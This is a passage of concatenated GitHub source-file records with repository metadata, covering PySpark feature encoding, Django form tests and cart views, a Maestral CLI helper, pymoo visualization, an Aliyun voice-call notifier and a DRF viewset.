df.withColumn(\"DayOfWeek\", df[\"DayOfWeek\"].cast(IntegerType()))\n\n return df\n\n def OneHotEncoder(self):\n \"\"\"\n Converts string-type categories to indexes, splits continuous data interval to indexes,\n encodes the categorical data using One-Hot encoding.\n\n \"\"\"\n splits = [-float(\"inf\"), 500, 1200, 1700, float(\"inf\")]\n self.bucketizer = Bucketizer(splitsArray=[splits, splits, splits],\n inputCols=[\"CRSDepTime\",\n \"CRSArrTime\",\n \"DepTime\"],\n outputCols=[\"CatCRSDepTime\",\n \"CatCRSArrTime\",\n \"CatDepTime\"])\n\n self.varIdxer = StringIndexer(inputCol=\"OrigDest\",\n outputCol=\"IndOrigDest\").setHandleInvalid(\"skip\")\n\n self.oneHot = OneHotEncoder(inputCols=['Month',\n 'DayOfWeek',\n 'CatCRSDepTime',\n 'CatCRSArrTime',\n 'IndOrigDest',\n 'CatDepTime'],\n outputCols=['HotMonth',\n 'HotDayOfWeek',\n 'HotCRSCatDepTime',\n 'HotCRSCatArrTime',\n 'HotIndOrigDest',\n 'HotDepTime']).setHandleInvalid(\"keep\")\n\n def variable_selection(self):\n \"\"\"\n Based on user input selects the variables vectors to process\n\n \"\"\"\n X = []\n\n if self.cfg.variables == 'X1':\n X.append({\"name\": \"X1\", \"variables\": ['DepDelay', 'TaxiOut']})\n elif self.cfg.variables == 'all':\n X.append({\"name\": \"X1\", \"variables\": ['DepDelay', 'TaxiOut']})\n X.append({\"name\": \"X2\", \"variables\": ['DepDelay', 'TaxiOut', 'HotDepTime']})\n X.append({\"name\": \"X3\", \"variables\": ['DepDelay', 'TaxiOut', 'HotDayOfWeek', 'Speed']})\n X.append({\"name\": \"X4\", \"variables\": ['DepDelay', 'TaxiOut', 'HotDayOfWeek', 'Speed', 'HotMonth']})\n X.append({\"name\": \"X5\", \"variables\": ['DepDelay', 'TaxiOut', 'Speed', 'HotDepTime', 'HotCRSCatArrTime']})\n elif self.cfg.variables == 'best':\n X.append({\"name\": \"X5\", \"variables\": ['DepDelay', 'TaxiOut', 'Speed', 'HotDepTime', 'HotCRSCatArrTime']})\n return X\n", "repo_name": "LorenzoFramba/Flight_Delay_Prediction", "sub_path": "cleanData.py", "file_name": "cleanData.py", "file_ext": "py", "file_size_in_byte": 5390, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "pyspark.sql.functions.concat", "line_number": 55, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 55, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.col", "line_number": 55, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.lit", "line_number": 55, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.round", "line_number": 57, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 57, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.col", "line_number": 57, "usage_type": "call"}, {"api_name": "pyspark.ml.feature.Bucketizer", "line_number": 84, "usage_type": "call"}, {"api_name": "pyspark.ml.feature.StringIndexer", "line_number": 92, "usage_type": "call"}, {"api_name": "pyspark.ml.feature.OneHotEncoder", "line_number": 95, "usage_type": "call"}]} +{"seq_id": "22689757262", "text": "from django.test import Client, TestCase\nfrom posts.models import Post, Group\n\nfrom django.contrib.auth import get_user_model\nfrom django.urls import reverse\nfrom django.core.cache import cache\n\n\nUser = get_user_model()\n\n\nclass PostCreateFormTests(TestCase):\n @classmethod\n def setUpClass(cls):\n super().setUpClass()\n cls.group = Group.objects.create(title='First_group',\n description='test_descript',\n slug='first_slug')\n\n def setUp(self):\n cache.clear()\n self.user = User.objects.create_user(username='Author')\n self.guest_client = Client()\n self.auth_client = Client()\n self.auth_client.force_login(self.user)\n\n def test_guest_post_create(self):\n \"\"\"Гостя перенаправляют на страницу входа\"\"\"\n response = self.guest_client.post(\n reverse('posts:post_create'),\n )\n login_url = reverse('users:login')\n address = reverse('posts:post_create')\n self.assertRedirects(response, f'{login_url}?next={address}')\n\n def test_author_post_create(self):\n \"\"\"Валидная форма создает запись в Post.\"\"\"\n form_data = {\n 'text': 'Test text',\n 'group': 1,\n }\n response = self.auth_client.post(\n reverse('posts:post_create'),\n data=form_data,\n follow=True\n )\n post = Post.objects.first()\n self.assertRedirects(response, reverse('posts:profile',\n kwargs={'username': 'Author'}))\n self.assertEqual(Post.objects.count(), 1)\n self.assertEqual(post.text, 'Test text')\n self.assertEqual(post.group.slug, 'first_slug')\n self.assertEqual(post.author.username, 'Author')\n\n def test_author_post_edit(self):\n \"\"\"Валидная форма редактирует запись в Post.\"\"\"\n Post.objects.create(text='Test text',\n group=self.group,\n author=self.user)\n post = Post.objects.first()\n initial_pub_date = post.pub_date\n self.assertEqual(post.text, 'Test text')\n form_data = {\n 'text': 'Test text (edited)',\n 'group': 1,\n }\n self.auth_client.post(\n reverse('posts:post_edit', kwargs={'post_id': '1'}),\n data=form_data,\n follow=True\n )\n post = Post.objects.first()\n self.assertEqual(Post.objects.count(), 1)\n self.assertEqual(post.text, 'Test text (edited)')\n self.assertEqual(post.pub_date, initial_pub_date)\n", "repo_name": "NordNik/hw05_final", "sub_path": "yatube/posts/tests/test_forms.py", "file_name": "test_forms.py", "file_ext": "py", "file_size_in_byte": 2724, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "django.contrib.auth.get_user_model", "line_number": 9, "usage_type": "call"}, {"api_name": "django.test.TestCase", "line_number": 12, "usage_type": "name"}, {"api_name": "posts.models.Group.objects.create", "line_number": 16, "usage_type": "call"}, {"api_name": "posts.models.Group.objects", "line_number": 16, "usage_type": "attribute"}, {"api_name": "posts.models.Group", "line_number": 16, "usage_type": "name"}, {"api_name": "django.core.cache.cache.clear", "line_number": 21, "usage_type": "call"}, {"api_name": "django.core.cache.cache", "line_number": 21, "usage_type": "name"}, {"api_name": "django.test.Client", "line_number": 23, "usage_type": "call"}, {"api_name": "django.test.Client", "line_number": 24, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 30, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 32, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 33, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 43, "usage_type": "call"}, {"api_name": "posts.models.Post.objects.first", "line_number": 47, "usage_type": "call"}, {"api_name": "posts.models.Post.objects", "line_number": 47, "usage_type": "attribute"}, {"api_name": "posts.models.Post", "line_number": 47, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 48, "usage_type": "call"}, {"api_name": "posts.models.Post.objects.count", "line_number": 50, "usage_type": "call"}, {"api_name": "posts.models.Post.objects", "line_number": 50, "usage_type": "attribute"}, {"api_name": "posts.models.Post", "line_number": 50, "usage_type": "name"}, {"api_name": "posts.models.Post.objects.create", "line_number": 57, "usage_type": "call"}, {"api_name": "posts.models.Post.objects", "line_number": 57, "usage_type": "attribute"}, {"api_name": "posts.models.Post", "line_number": 57, "usage_type": "name"}, {"api_name": "posts.models.Post.objects.first", "line_number": 60, "usage_type": "call"}, {"api_name": "posts.models.Post.objects", "line_number": 60, "usage_type": "attribute"}, {"api_name": "posts.models.Post", "line_number": 60, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 68, "usage_type": "call"}, {"api_name": "posts.models.Post.objects.first", "line_number": 72, "usage_type": "call"}, {"api_name": "posts.models.Post.objects", "line_number": 72, "usage_type": "attribute"}, {"api_name": "posts.models.Post", "line_number": 72, "usage_type": "name"}, {"api_name": "posts.models.Post.objects.count", "line_number": 73, "usage_type": "call"}, {"api_name": "posts.models.Post.objects", "line_number": 73, "usage_type": "attribute"}, {"api_name": "posts.models.Post", "line_number": 73, "usage_type": "name"}]} +{"seq_id": "24498707037", "text": "from __future__ import annotations\n\nimport functools\nimport sys\nfrom typing import Callable, Any, TypeVar, TYPE_CHECKING\nfrom typing_extensions import ParamSpec\n\nimport click\n\nfrom .core import ConfigName\nfrom .output import warn\nfrom .utils import get_term_size\nfrom ..constants import DEFAULT_CONFIG_NAME\n\nif TYPE_CHECKING:\n from ..daemon import MaestralProxy\n from ..main import Maestral\n\n\nP = ParamSpec(\"P\")\nT = TypeVar(\"T\")\n\n\ndef convert_api_errors(func: Callable[P, T]) -> Callable[P, T]:\n \"\"\"\n Decorator that catches a MaestralApiError and prints a formatted error message to\n stdout before exiting. Calls ``sys.exit(1)`` after printing the error to stdout.\n \"\"\"\n\n from ..exceptions import MaestralApiError\n\n @functools.wraps(func)\n def wrapper(*args: P.args, **kwargs: P.kwargs) -> T:\n try:\n return func(*args, **kwargs)\n except MaestralApiError as exc:\n warn(f\"{exc.title}. {exc.message}\")\n sys.exit(1)\n\n return wrapper\n\n\ndef check_for_fatal_errors(m: MaestralProxy | Maestral) -> bool:\n \"\"\"\n Checks the given Maestral instance for fatal errors such as revoked Dropbox access,\n deleted Dropbox folder etc. Prints a nice representation to the command line.\n\n :param m: Proxy to Maestral daemon or Maestral instance.\n :returns: True in case of fatal errors, False otherwise.\n \"\"\"\n\n import textwrap\n\n maestral_err_list = m.fatal_errors\n\n if len(maestral_err_list) > 0:\n size = get_term_size()\n\n err = maestral_err_list[0]\n wrapped_msg = textwrap.fill(err.message, width=size.columns)\n\n click.echo(\"\")\n click.secho(err.title, fg=\"red\")\n click.secho(wrapped_msg, fg=\"red\")\n click.echo(\"\")\n\n return True\n else:\n return False\n\n\nconfig_option = click.option(\n \"-c\",\n \"--config-name\",\n default=DEFAULT_CONFIG_NAME,\n type=ConfigName(existing=False),\n is_eager=True,\n expose_value=True,\n help=\"Run command with the given configuration.\",\n)\nexisting_config_option = click.option(\n \"-c\",\n \"--config-name\",\n default=DEFAULT_CONFIG_NAME,\n type=ConfigName(),\n is_eager=True,\n expose_value=True,\n help=\"Run command with the given configuration.\",\n)\n\n\ndef inject_proxy(\n fallback: bool, existing_config: bool\n) -> Callable[[Callable[P, T]], Callable[P, Any]]:\n def decorator(f: Callable[P, T]) -> Callable[P, Any]:\n def wrapper(*args: P.args, **kwargs: P.kwargs) -> Any:\n from ..daemon import MaestralProxy, CommunicationError\n\n ctx = click.get_current_context()\n\n config_name = ctx.params.pop(\"config_name\", \"maestral\")\n kwargs.pop(\"config_name\", None)\n\n try:\n proxy = ctx.with_resource(MaestralProxy(config_name, fallback=fallback))\n except CommunicationError:\n click.echo(\"Maestral daemon is not running.\")\n ctx.exit(0)\n else:\n return ctx.invoke(f, proxy, *args, **kwargs)\n\n if existing_config:\n f = existing_config_option(f)\n else:\n f = config_option(f)\n\n return functools.update_wrapper(wrapper, f)\n\n return decorator\n", "repo_name": "samschott/maestral", "sub_path": "src/maestral/cli/common.py", "file_name": "common.py", "file_ext": "py", "file_size_in_byte": 3222, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2924, "dataset": "github-code", "pt": "16", "api": [{"api_name": "typing.TYPE_CHECKING", "line_number": 15, "usage_type": "name"}, {"api_name": "typing_extensions.ParamSpec", "line_number": 20, "usage_type": "call"}, {"api_name": "typing.TypeVar", "line_number": 21, "usage_type": "call"}, {"api_name": "typing.Callable", "line_number": 24, "usage_type": "name"}, {"api_name": "exceptions.MaestralApiError", "line_number": 36, "usage_type": "name"}, {"api_name": "output.warn", "line_number": 37, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 38, "usage_type": "call"}, {"api_name": "functools.wraps", "line_number": 32, "usage_type": "call"}, {"api_name": "daemon.MaestralProxy", "line_number": 43, "usage_type": "name"}, {"api_name": "main.Maestral", "line_number": 43, "usage_type": "name"}, {"api_name": "utils.get_term_size", "line_number": 57, "usage_type": "call"}, {"api_name": "textwrap.fill", "line_number": 60, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 62, "usage_type": "call"}, {"api_name": "click.secho", "line_number": 63, "usage_type": "call"}, {"api_name": "click.secho", "line_number": 64, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 65, "usage_type": "call"}, {"api_name": "click.option", "line_number": 72, "usage_type": "call"}, {"api_name": "constants.DEFAULT_CONFIG_NAME", "line_number": 75, "usage_type": "name"}, {"api_name": "core.ConfigName", "line_number": 76, "usage_type": "call"}, {"api_name": "click.option", "line_number": 81, "usage_type": "call"}, {"api_name": "constants.DEFAULT_CONFIG_NAME", "line_number": 84, "usage_type": "name"}, {"api_name": "core.ConfigName", "line_number": 85, "usage_type": "call"}, {"api_name": "typing.Callable", "line_number": 95, "usage_type": "name"}, {"api_name": "click.get_current_context", "line_number": 99, "usage_type": "call"}, {"api_name": "daemon.MaestralProxy", "line_number": 105, "usage_type": "call"}, {"api_name": "daemon.CommunicationError", "line_number": 106, "usage_type": "name"}, {"api_name": "click.echo", "line_number": 107, "usage_type": "call"}, {"api_name": "typing.Any", "line_number": 96, "usage_type": "name"}, {"api_name": "functools.update_wrapper", "line_number": 117, "usage_type": "call"}, {"api_name": "typing.Any", "line_number": 95, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 94, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 94, "usage_type": "name"}]} +{"seq_id": "21008978198", "text": "from django.http.response import JsonResponse\r\nfrom django.shortcuts import redirect, render\r\n\r\nfrom django.contrib.auth.decorators import login_required\r\n\r\nfrom core.models import Produto, Carrinho\r\n\r\n\r\ndef addcarrinho(request):\r\n if request.method == \"POST\":\r\n if request.user.is_authenticated:\r\n prod_id = int(request.POST.get('produto_id'))\r\n produto_check = Produto.objects.get(id=prod_id)\r\n if (produto_check):\r\n if (Carrinho.objects.filter(user=request.user.id, produto_id=prod_id)):\r\n\r\n return JsonResponse({'status': 'Produto já adicionado ao carrinho'})\r\n else:\r\n prod_qtd = int(request.POST.get('produto_qtd'))\r\n\r\n if produto_check.quantidade >= prod_qtd:\r\n Carrinho.objects.create(\r\n user=request.user, produto_id=prod_id, produto_qtd=prod_qtd)\r\n\r\n return JsonResponse({'status': 'Produto adicionado com sucesso'})\r\n else:\r\n return JsonResponse({'status': 'Apenas '+str(produto_check.quantidade)+' disponível(is)'})\r\n\r\n else:\r\n return JsonResponse({'status': 'Produto não encontrado'})\r\n else:\r\n return JsonResponse({'status': 'Logue para continuar'})\r\n return redirect('home')\r\n\r\n\r\n@login_required(login_url='loginpage')\r\ndef viewcarrinho(request):\r\n carrinho = Carrinho.objects.filter(user=request.user) # type: ignore\r\n context = {'carrinho': carrinho}\r\n return render(request, 'loja/layout/carrinho.html', context)\r\n\r\n\r\ndef updatecarrinho(request):\r\n if request.method == \"POST\":\r\n prod_id = int(request.POST.get('produto_id'))\r\n if (Carrinho.objects.filter(user=request.user, produto_id=prod_id)):\r\n prod_qtd = int(request.POST.get('produto_qtd'))\r\n carrinho = Carrinho.objects.get(\r\n produto_id=prod_id, user=request.user)\r\n carrinho.produto_qtd = prod_qtd\r\n carrinho.save()\r\n return JsonResponse({'status': 'Atualizado com sucesso'})\r\n return redirect('home')\r\n\r\n\r\ndef deletaritemcarrinho(request):\r\n if request.method == \"POST\":\r\n prod_id = int(request.POST.get('produto_id'))\r\n if (Carrinho.objects.filter(user=request.user, produto_id=prod_id)):\r\n itemcarrinho = Carrinho.objects.get(\r\n produto_id=prod_id, user=request.user)\r\n itemcarrinho.delete()\r\n return JsonResponse({'status': 'Deletado com sucesso'})\r\n return redirect('home')\r\n", "repo_name": "feamerico/Bolol-ndia", "sub_path": "core/controller/carrinho.py", "file_name": "carrinho.py", "file_ext": "py", "file_size_in_byte": 2620, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "core.models.Produto.objects.get", "line_number": 13, "usage_type": "call"}, {"api_name": "core.models.Produto.objects", "line_number": 13, "usage_type": "attribute"}, {"api_name": "core.models.Produto", "line_number": 13, "usage_type": "name"}, {"api_name": "core.models.Carrinho.objects.filter", "line_number": 15, "usage_type": "call"}, {"api_name": "core.models.Carrinho.objects", "line_number": 15, "usage_type": "attribute"}, {"api_name": "core.models.Carrinho", "line_number": 15, "usage_type": "name"}, {"api_name": "django.http.response.JsonResponse", "line_number": 17, "usage_type": "call"}, {"api_name": "core.models.Carrinho.objects.create", "line_number": 22, "usage_type": "call"}, {"api_name": "core.models.Carrinho.objects", "line_number": 22, "usage_type": "attribute"}, {"api_name": "core.models.Carrinho", "line_number": 22, "usage_type": "name"}, {"api_name": "django.http.response.JsonResponse", "line_number": 25, "usage_type": "call"}, {"api_name": "django.http.response.JsonResponse", "line_number": 27, "usage_type": "call"}, {"api_name": "django.http.response.JsonResponse", "line_number": 30, "usage_type": "call"}, {"api_name": "django.http.response.JsonResponse", "line_number": 32, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 33, "usage_type": "call"}, {"api_name": "core.models.Carrinho.objects.filter", "line_number": 38, "usage_type": "call"}, {"api_name": "core.models.Carrinho.objects", "line_number": 38, "usage_type": "attribute"}, {"api_name": "core.models.Carrinho", "line_number": 38, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 40, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 36, "usage_type": "call"}, {"api_name": "core.models.Carrinho.objects.filter", "line_number": 46, "usage_type": "call"}, {"api_name": "core.models.Carrinho.objects", "line_number": 46, "usage_type": "attribute"}, {"api_name": "core.models.Carrinho", "line_number": 46, "usage_type": "name"}, {"api_name": "core.models.Carrinho.objects.get", "line_number": 48, "usage_type": "call"}, {"api_name": "core.models.Carrinho.objects", "line_number": 48, "usage_type": "attribute"}, {"api_name": "core.models.Carrinho", "line_number": 48, "usage_type": "name"}, {"api_name": "django.http.response.JsonResponse", "line_number": 52, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 53, "usage_type": "call"}, {"api_name": "core.models.Carrinho.objects.filter", "line_number": 59, "usage_type": "call"}, {"api_name": "core.models.Carrinho.objects", "line_number": 59, "usage_type": "attribute"}, {"api_name": "core.models.Carrinho", "line_number": 59, "usage_type": "name"}, {"api_name": "core.models.Carrinho.objects.get", "line_number": 60, "usage_type": "call"}, {"api_name": "core.models.Carrinho.objects", "line_number": 60, "usage_type": "attribute"}, {"api_name": "core.models.Carrinho", "line_number": 60, "usage_type": "name"}, {"api_name": "django.http.response.JsonResponse", "line_number": 63, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 64, "usage_type": "call"}]} +{"seq_id": "25465595161", "text": "import falcon # type: ignore\nimport json\n\nfrom back.orm.consts import Complexities, BountyTypes as BTs\n\nall_complexities = json.dumps([c.name for c in Complexities])\nall_bounty_types = json.dumps([b.name for b in BTs])\n\n\nclass ComplexityOptions:\n def on_get(self, req, resp):\n resp.status = falcon.HTTP_200\n resp.body = all_complexities\n\n\nclass BountyTypes:\n def on_get(self, req, resp):\n resp.status = falcon.HTTP_200\n resp.body = all_bounty_types\n\n\n__all__ = [\"ComplexityOptions\", \"BountyTypes\"]\n", "repo_name": "nazariyv/0xbc01n", "sub_path": "back/api/web/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 533, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "json.dumps", "line_number": 6, "usage_type": "call"}, {"api_name": "back.orm.consts.Complexities", "line_number": 6, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 7, "usage_type": "call"}, {"api_name": "back.orm.consts.BountyTypes", "line_number": 7, "usage_type": "name"}, {"api_name": "falcon.HTTP_200", "line_number": 12, "usage_type": "attribute"}, {"api_name": "falcon.HTTP_200", "line_number": 18, "usage_type": "attribute"}]} +{"seq_id": "72592575049", "text": "import matplotlib.pyplot as plt\nimport numpy as np\n\nfrom pymoo.visualization.fitness_landscape import FitnessLandscape\nfrom pymoo.visualization.video.callback_video import AnimationCallback\n\n\nclass TwoVariablesOneObjectiveVisualization(AnimationCallback):\n\n def __init__(self,\n n_samples_for_surface=10000,\n **kwargs):\n super().__init__(**kwargs)\n self.last_pop = None\n self.n_samples_for_surface = n_samples_for_surface\n\n def do(self, problem, algorithm):\n\n # check whether the visualization can be done or not - throw exception or simply do nothing\n if problem.n_var != 2 or problem.n_obj != 1:\n raise Exception(\"This visualization can only be used for problems with two variables and one objective!\")\n\n # draw the problem surface\n # if algorithm.surrogate.targets[\"F\"].doe is not None:\n # problem = algorithm.surrogate\n plot = FitnessLandscape(problem, _type=\"contour\", kwargs_contour=dict(alpha=0.5))\n plot.do()\n\n # get the population\n pop = algorithm.pop\n\n X, F, CV = pop.get(\"X\", \"F\", \"CV\")\n plt.scatter(X[:, 0], X[:, 1], facecolor=\"none\", edgecolors=\"black\", marker=\"o\", s=50, label=\"Solutions\")\n\n if hasattr(algorithm, \"off\") and algorithm.off is not None:\n X, F, CV = algorithm.off.get(\"X\", \"F\", \"CV\")\n plt.scatter(X[:, 0], X[:, 1], color=\"green\", marker=\"D\", s=30, label=\"Offsprings\")\n\n is_new = np.full(len(pop), True)\n if self.last_pop is not None:\n for k, ind in enumerate(pop):\n if ind in self.last_pop:\n is_new[k] = False\n\n # plot the new population\n if is_new.sum() > 0:\n X, F, CV = pop[is_new].get(\"X\", \"F\", \"CV\")\n plt.scatter(X[:, 0], X[:, 1], color=\"red\", marker=\"*\", s=70, label=\"Survivors\")\n\n xl, xu = problem.bounds()\n plt.xlim(xl[0], xu[0])\n plt.ylim(xl[1], xu[1])\n\n plt.title(f\"Generation: {algorithm.n_gen}\")\n plt.legend()\n\n # store the current population as the last\n self.last_pop = set(pop)\n\n plt.show()\n\n return plt.gcf()\n", "repo_name": "anyoptimization/pymoo", "sub_path": "pymoo/visualization/video/two_var_one_obj.py", "file_name": "two_var_one_obj.py", "file_ext": "py", "file_size_in_byte": 2189, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1804, "dataset": "github-code", "pt": "16", "api": [{"api_name": "pymoo.visualization.video.callback_video.AnimationCallback", "line_number": 8, "usage_type": "name"}, {"api_name": "pymoo.visualization.fitness_landscape.FitnessLandscape", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 33, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}, {"api_name": "numpy.full", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 48, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 48, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 51, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 52, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 54, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 55, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 55, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gcf", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}]} +{"seq_id": "1070402207", "text": "# --coding:utf8--\n#!/usr/bin/env python\nimport json\nimport time\nfrom aliyunsdkcore.client import AcsClient\nfrom aliyunsdkdyvmsapi.request.v20170525.SingleCallByTtsRequest import SingleCallByTtsRequest\nfrom aliyunsdkdyvmsapi.request.v20170525.QueryCallDetailByCallIdRequest import QueryCallDetailByCallIdRequest\nimport logging\n\nlogger = logging.getLogger('gunicorn.glogging.Logger')\n\n\nclass CallPhone(object):\n def __init__(self,ak,sk,tts_code,called_show_number,zone='cn-hangzhou',):\n self.client = AcsClient(ak,sk,zone)\n self.ttsRequest = SingleCallByTtsRequest()\n # 申请的语音通知tts模板编码,必填\n self.ttsRequest.set_TtsCode(tts_code)\n # 语音通知显示号码，必填\n self.ttsRequest.set_CalledShowNumber(called_show_number)\n # 设置播放次数\n self.ttsRequest.set_PlayTimes(2)\n\n def call_phone(self, call_phone, monitor_phone, tts_param):\n # tts模板变量参数\n phone_type = {\n 1: call_phone,\n 2: monitor_phone\n }\n\n querydate = str(int(time.time()) * 1000)\n self.ttsRequest.set_TtsParam(json.dumps(tts_param))\n result = []\n for type in phone_type:\n for phone in phone_type.get(type):\n # 语音通知的被叫号码，必填\n self.ttsRequest.set_CalledNumber(phone['mobile'])\n logger.info('开始拨打电话')\n Response = self.client.do_action_with_exception(self.ttsRequest)\n Response = json.loads(Response)\n if Response.get('Code') != 'OK':\n RuntimeError('呼叫失败:%s'%Response)\n\n time.sleep(60)\n ret,call_detail = self.get_call_detail(Response.get('CallId'),querydate)\n call_detail = json.loads(call_detail.get('Data'))\n if call_detail.get('state') in [\"200005\", \"200004\", \"200011\", \"200010\", \"200002\", \"200005\", \"200003\"]:\n logger.info(\"%s[%s] 未接听：%s\"%(phone['name'],phone['mobile'],call_detail))\n continue\n else:\n result.append(\"%s[%s] 接听电话：%s\"%(phone['name'],phone['mobile'],call_detail.get('stateDesc')))\n break\n\n def get_call_detail(self, callid, querydate, prodid='11000000300006'):\n query_call = QueryCallDetailByCallIdRequest()\n query_call.set_accept_format('json')\n query_call.set_ProdId(prodid)\n query_call.set_CallId(callid)\n query_call.set_QueryDate(querydate)\n Response = self.client.do_action_with_exception(query_call)\n Response = json.loads(Response)\n if Response.get('Code') != 'OK':\n return False, Response\n\n return True, Response\n", "repo_name": "zhouzhenhua/argocd-demo", "sub_path": "aliyun-call.py", "file_name": "aliyun-call.py", "file_ext": "py", "file_size_in_byte": 2784, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "logging.getLogger", "line_number": 10, "usage_type": "call"}, {"api_name": "aliyunsdkcore.client.AcsClient", "line_number": 15, "usage_type": "call"}, {"api_name": "aliyunsdkdyvmsapi.request.v20170525.SingleCallByTtsRequest.SingleCallByTtsRequest", "line_number": 16, "usage_type": "call"}, {"api_name": "time.time", "line_number": 31, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 32, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 40, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 44, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 46, "usage_type": "call"}, {"api_name": "aliyunsdkdyvmsapi.request.v20170525.QueryCallDetailByCallIdRequest.QueryCallDetailByCallIdRequest", "line_number": 55, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 61, "usage_type": "call"}]} +{"seq_id": "40095369983", "text": "\"\"\"Requirement API\"\"\"\nfrom extraction.models import Requirement\nfrom rest_framework import viewsets, serializers, decorators\nfrom drf_spectacular.types import OpenApiTypes\nfrom drf_spectacular.utils import extend_schema_view, extend_schema, OpenApiExample\nfrom extraction.api.serializers import RequirementSerializer\n\n\n@extend_schema_view(\n list=extend_schema(\n summary=\"Get all requirements\",\n description=\"Get all the requirements texts\",\n ),\n create=extend_schema(\n summary=\"Add a new requirement\",\n description=\"Add a new requirement\",\n ),\n retrieve=extend_schema(summary=\"Get a requirement\", description=\"Get a requirement\"),\n partial_update=extend_schema(\n summary=\"Partially update a requirement\",\n description=\"Modify an existing requirement by patching some attributes\",\n ),\n update=extend_schema(\n summary=\"Overwrite a requirement\", description=\"Modify an existing requirement by overwriting all attributes\"\n ),\n destroy=extend_schema(summary=\"Delete a requirement\", description=\"Delete a requirement\"),\n)\nclass RequirementViewSet(viewsets.ModelViewSet):\n \"\"\"\n A viewset for viewing and editing requirement instances.\n \"\"\"\n\n serializer_class = RequirementSerializer\n queryset = Requirement.objects.all()\n lookup_field = 'id'\n", "repo_name": "yhu02/LIACS", "sub_path": "year3/SWE/ngUML.component.backend/nguml/extraction/api/views/requirement.py", "file_name": "requirement.py", "file_ext": "py", "file_size_in_byte": 1332, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "16", "api": [{"api_name": "rest_framework.viewsets.ModelViewSet", "line_number": 28, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 28, "usage_type": "name"}, {"api_name": "extraction.api.serializers.RequirementSerializer", "line_number": 33, "usage_type": "name"}, {"api_name": "extraction.models.Requirement.objects.all", "line_number": 34, "usage_type": "call"}, {"api_name": "extraction.models.Requirement.objects", "line_number": 34, "usage_type": "attribute"}, {"api_name": "extraction.models.Requirement", "line_number": 34, "usage_type": "name"}, {"api_name": "drf_spectacular.utils.extend_schema_view", "line_number": 9, "usage_type": "call"}, {"api_name": "drf_spectacular.utils.extend_schema", "line_number": 10, "usage_type": "call"}, {"api_name": "drf_spectacular.utils.extend_schema", "line_number": 14, "usage_type": "call"}, {"api_name": "drf_spectacular.utils.extend_schema", "line_number": 18, "usage_type": "call"}, {"api_name": "drf_spectacular.utils.extend_schema", "line_number": 19, "usage_type": "call"}, {"api_name": "drf_spectacular.utils.extend_schema", "line_number": 23, "usage_type": "call"}, {"api_name": "drf_spectacular.utils.extend_schema", "line_number": 26, "usage_type": "call"}]} +{"seq_id": "19565260579", "text": "import os\r\nimport os.path\r\nfrom PIL import Image\r\nfrom PIL import ImageFilter\r\nfrom PIL import ImageEnhance\r\n\r\n\r\n# The neighborhood pixel of the pixel value >245 is identified as belonging to the background color\r\n# If there are more than 2 pixel values of 4 pixels above and below a pixel\r\n# The pixel belongs to the background color, then the pixel is the 